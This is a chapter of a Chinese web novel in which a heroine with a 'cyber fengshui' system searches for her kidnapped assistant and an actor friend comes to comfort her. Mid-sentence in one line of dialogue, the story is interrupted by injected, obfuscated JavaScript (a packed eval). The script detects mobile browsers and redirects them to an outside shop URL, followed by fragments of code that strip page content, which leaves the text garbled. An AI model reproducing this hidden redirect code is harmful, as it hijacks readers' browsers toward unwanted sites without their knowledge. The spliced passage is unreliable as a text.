那辆没有任何牌照的灰色面包车，像一滴墨水滴入大海，在错综复杂的城市道路网中彻底失去了踪迹。
所有人都盯着屏幕，屏幕上只剩下川流不息的车流，冰冷的数据宣告着追踪的失败。
“查全市所有相同型号的灰色面包车，排查近三天的行驶记录和车主信息！”苏云归的声音打破了寂静。
技术员们立刻行动起来，键盘敲击声再次密集地响起。但所有人都心知肚明，这无异于大海捞针。罪犯如此处心积虑，绝不可能使用一辆能轻易追查到源头的车。
“和前几起案子的手法一模一样。”苏云归的拳头在身侧攥紧，低声对林雪薇说，“受害者都是在毫无察觉的情况下，自己走向了绑架地点。现场没有挣扎痕迹，监控找不到任何施暴画面，罪犯像个幽灵。”
完美犯罪。
林雪薇脑海里只剩下这四个字。
唯一的区别，也是唯一的庆幸，是周晓雨失踪才刚过一天。罪犯也许……还没来得及下手。
这个念头刚冒出来，就被她死死掐灭。她不敢抱有任何侥幸，每多一秒，晓雨的危险就增加一分。
“我想去现场看看。”
“看什么？”旁边一个年轻的技术员没忍住，又嘀咕了一句，“监控都看烂了，还能看出花来？”
“小李！”苏云归瞪了他一眼。
杜在明看着林雪薇：“需要什么配合？”
“我需要去所有发现‘鬼画符’相关符号的地点，亲自看一看。”林雪薇点点屏幕，“影像隔绝了感知，我必须站在那个场域里。”
“我陪你去。”苏云归立刻说。
“好。”杜在明言简意赅，“小李，把所有标记点的高清照片和具体位置信息，发一份给苏队。”
那个叫小李的技术员虽然满腹疑窦，但还是干脆地应了一声，迅速将资料整理好，发送到了苏云归的手机上。
半小时后，一辆没有警用标识的黑色轿车，载着林雪薇驶离了市局。
“别理小李那小子，技术宅，脑子一根筋，没恶意。”车上，苏云归一边开车一边解释。
林雪薇摇摇头，她根本没精力在意别人的看法。她靠在副驾上，闭着眼，脑子里一遍遍回放着周晓雨在监控里那副失魂落魄的模样。
那个活泼开朗、总是有问必答、会因为一点小夸奖就脸红的姑娘，现在不知身在何处，遭遇着什么。
第一个点，是城西那个老报刊亭。
车子停在路边，林雪薇推门而下。
这是一个早已废弃的报刊亭，红色的漆皮大面积剥落，露出底下灰色的铁皮。在报刊亭侧面，一幅早已褪色的、画着城市风光的漆画上，几栋建筑的轮廓和线条，在经年累月的风吹日晒下，变得模糊不清。
普通人眼里，这就是一堆无意义的线条。
林雪薇深吸一口气，集中精神，开启了【气运视界】。
眼前的世界瞬间被解构，流光溢彩的气运线条交织成网。她看向那面漆画，视线聚焦在那些诡异的建筑轮廓上。
【检测到微弱的恶意浸染……能量属性：混乱、诱导。】
这股气息充满了不详与混乱，光是“看到”，就让她觉得心烦意乱。
但是，仅此而已。
这团雾气就像一滩死水，没有任何流动的迹象。她想象中的，那种能够顺藤摸瓜找到源头的“能量线”，根本不存在。
“怎么样？”苏云归在一旁紧张地问。
林雪薇脸色难看地摇了摇头：“能感觉到是‘那个东西’，但它不指向任何地方。”
“去下一处看看。”
她们驱车前往下一个地点。
那是一面涂鸦墙，在五彩斑斓、张扬个性的图案中，隐藏着一个同样风格，却在构图上与“鬼画符”隐隐呼应的诡异符号。
结果一模一样。
【恶意+20】
除了这个让人抓狂的提示，和那滩死水般的灰黑雾气，再无其他。
接下来的几个小时，她们跑遍了技术队标记出的所有地点。从商业大楼的玻璃幕墙光斑，到人行道地砖的裂纹，甚至是一个地铁站公益广告的背景图案。
每一次开启【气运视界】，得到的结果都毫无二致。
那些恶意符号就像一个个散落在城市各处的孤立陷阱，除了证明它们存在过，根本提供不了任何关于布设者的线索。
夜幕降临，华灯初上。
苏云归将车停在“雪满长安”工作室楼下。林雪薇坐在副驾上，一动不动。一整天的奔波，换来的却是彻底的无功而返。那种希望燃起又被一盆盆冷水浇灭的感觉，比单纯的绝望更折磨人。
“别太逼自己。”苏云归解开安全带，声音里带着一丝疲惫和担忧，“杜队那边还在查，我们没放弃。你先上去休息一下，有消息我第一时间通知你。”
林雪薇机械地点了点头，推开车门。回到空无一人的工作室。她甚至没有开灯，任由自己跌坐在沙发里，被窗外透进的霓虹灯光勾勒出一个孤寂的剪影。
一种前所未有的焦虑感涌上心头。
在处理秦决和顾怀的事情时，她都没有这么无力过。那时候，无论敌人是掠夺气运的“金蟾”，还是侵蚀心神的“心魔”，【赛博风水】系统总能给出一个明确的指向，一条可以不计代价去冲杀的道路。可这一次，面对一个心思缜密、懂得利用环境心理学和监控死角的现实罪犯，系统第一次显得如此“迟钝”。
她第一次清醒地认识到，自己潜意识里已经对系统产生了依赖。而现在，这把钥匙打不开眼前的锁。
对手不是虚无缥缈的气运，而是一个活生生、会伤害一个无辜女孩的恶魔。
......
“真的假的？失踪了？”
“据说是被绑架了。警方都过来调查了。”
“希望能赶紧救回来。前两天送照片过来还活泼着呢。”
两个人正低声嘀咕着，一件浅灰色外套出现在他们的视野里。
“顾老师！”
“顾老师你录完了？”
两个工作人员沾了起来，笑得十分客气礼貌。
“你们刚刚说的，是怎么回事？”顾怀的声音有些发紧。
“顾、顾老师……”
“说！”
在顾怀迫人的目光下，其中一个工作人员结结巴巴地把警察来的事说了一遍。
顾怀的脸色变了。他立刻拿出手机，拨通了林雪薇的电话。
手机响了半天，才传来接通的声音，“顾怀？”
听着对面声音里都掩不住的疲惫，顾怀有些急，“我听说你的助理失踪了，你没事吧？你在工作室吗？”
“我没事，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645552|182811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挺好的。”林雪薇应了一声，实在没精力聊天了，“我先休息了。改天再给你打电话。”
林雪薇挂了电话。顾怀一边穿外套一边往外走。
“哎，小祖宗！你去哪儿啊？”经纪人王畅眼疾手快地一把拉住他，“后面还有个采访呢！”
“推了。”顾怀头也不回。
“推了？你知道这个专访我们约了多久吗？”王畅快气疯了，“你疯了是不是？你现在是什么身份？刚从泥潭里爬出来，事业正好不容易有了起色，要去跟一桩刑事案件扯上关系？嫌自己命太长，还是嫌狗仔没新闻写？”
顾怀猛地甩开王畅的手，回头，那双平日里含情脉脉的桃花眼里此刻只剩下焦急与愤怒：“王哥，当初我快死的时候，是她把我拉回来的！现在她的人出事了，她自己也可能有危险，我如果还躲在这里做什么专访，那我还是个人吗？”
王畅被他问得一噎，愣在原地。
顾怀没再多说，他拉起卫衣的帽子，又从口袋里掏出一个黑色的口罩戴上，压低帽檐，快步走进了电梯。
半个多小时后，一辆出租车停在了“雪满长安”工作室楼下。
顾怀付了钱，下车，抬头看了一眼那栋写字楼。工作室在十一楼，此时此刻，那里却是一片漆黑。
他走进大楼，乘电梯来到十一层。工作室的玻璃门从里面锁着，他看不清里面的情形。
他试探着敲了敲门，声音在空旷的楼道里显得格外清晰。
没有回应。
他心里一紧，又加重了力道，执着地敲了起来。
“雪薇！开门！是我，顾怀！林雪薇！”
拍门声在空旷的楼道里回响。几秒钟后，门锁“咔哒”一声被打开。
林雪薇站在门后，脸色微白。看到门外戴着帽子和口罩，只露出一双眼睛的顾怀，她明显愣住了。
顾怀摘下口罩，露出一张同样写满焦急和担忧的脸。他走进了工作室，反手关上了门，将楼道的冷风隔绝在外。
工作室里一片漆黑，只有窗外城市的霓虹透进微光。
顾怀凭着记忆摸到墙边，打开了沙发旁的一盏落地灯。暖黄色的光晕驱散了一小片黑暗，也照亮了林雪薇紧绷的侧脸。
“我不放心。”顾怀看着她憔悴的样子，眼中满是心疼，“我听说了你助理的事。”
“我能做点什么？”
林雪薇摇了摇头，“你帮不上忙”。
顾怀把花茶倒入茶壶，按开电源，慢慢的，水沸腾的声音和花的香气一起充满了屋子。
“我至少能陪陪你。”顾怀将一杯温热的花茶递到她面前。
林雪薇木然地接过，指尖触碰到温热的杯壁，仿佛才被唤回了些许神思。
她低垂着眼睫，看着杯中舒展开的花瓣，一言不发，肩膀却塌了下去。
“为什么？”她没头没尾地冒出来一句，也不知道她是指哪件事。
不过顾怀想当然地认为她是在说助理失踪，“世界上总有一些变态，没有原因的犯罪。”
林雪薇把杯子攥得紧紧的，“原因......因果......”
她忽然抬起头，眼睛又亮了起来，“我得去试试！”
“试什么？”顾怀一头雾水。
“试试能不能找出点什么？”林雪薇抓起外套，三步并作两步就往外走。